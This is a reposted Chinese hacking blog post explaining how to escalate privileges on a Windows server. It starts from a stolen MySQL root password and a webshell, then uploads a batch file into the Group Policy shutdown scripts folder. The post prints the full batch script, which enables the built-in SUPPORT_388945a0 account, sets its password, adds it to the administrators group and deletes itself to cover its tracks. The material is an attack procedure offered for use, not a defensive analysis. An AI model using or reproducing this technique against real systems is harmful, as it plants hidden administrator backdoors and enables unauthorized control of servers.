提權思路——mysql root賬号上傳bat到組政策關機腳本提權

 嗯，組政策關機腳本貌似是很長時間之前在某個留後門的動畫中看到的。

今天遇到一個情況，得到了mysql的root密碼，但是由于殺軟，mysql backdoor和udf都無法使用，于是去嘗試了下很久之前的一個想法。

嘛嘛，先來說說組政策關機腳本是什麼東西。開始運作→gpedit.msc，在windows設定裡就可以看到關機腳本（當然還有開機的）。

這個和啟動項是一樣的，不同的是這個關機時才會運作，隐藏性更好。

<a href="http://www.176ku.com/anquan/UploadFiles_3093/201002/2010021122201528.gif" target="_blank"></a>

現在我們來看看它在哪，在這裡C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Shutdown，是以我們隻要把bat上傳到這個檔案夾裡就行了。

<a href="http://www.176ku.com/anquan/UploadFiles_3093/201002/2010021122210171.gif" target="_blank"></a>

上傳的功能webshell自己就帶，mysql上傳下載下傳

<a href="http://www.176ku.com/anquan/UploadFiles_3093/201002/2010021122214367.gif" target="_blank"></a>

upto填路徑，檔案名很重要，然後選擇檔案就選擇自己寫的bat就好了，這裡給大家提供一個亂寫的bat，可能有錯誤哈。

@title SQLCHECK

@echo off

@net user SUPPORT_388945a0 /active:yes

@net user SUPPORT_388945a0 my1234!@#$

@net localgroup administrators SUPPORT_388945a0 /add

@pushd C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Shutdown

@del sqlcheck.bat

@exit

@exit出現兩次是有原因的。

<a href="http://www.176ku.com/anquan/UploadFiles_3093/201002/2010021122223770.gif" target="_blank"></a>

需要注意的是必須有SUPPORT_388945a0這個内置的賬号

<a href="http://www.176ku.com/anquan/UploadFiles_3093/201002/2010021122232524.gif" target="_blank"></a>

我們可以用webshell看看有沒有上傳成功，已經有了。不知道為什麼我用的webshell上傳兩個bat在一起，也許隻是我shell的問題吧。多寫一行應該能避免錯誤。

額 還是新手可能還有錯誤，歡迎指正。

本文轉hackfreer51CTO部落格，原文連結：http://blog.51cto.com/pnig0s1992/571092，如需轉載請自行聯系原作者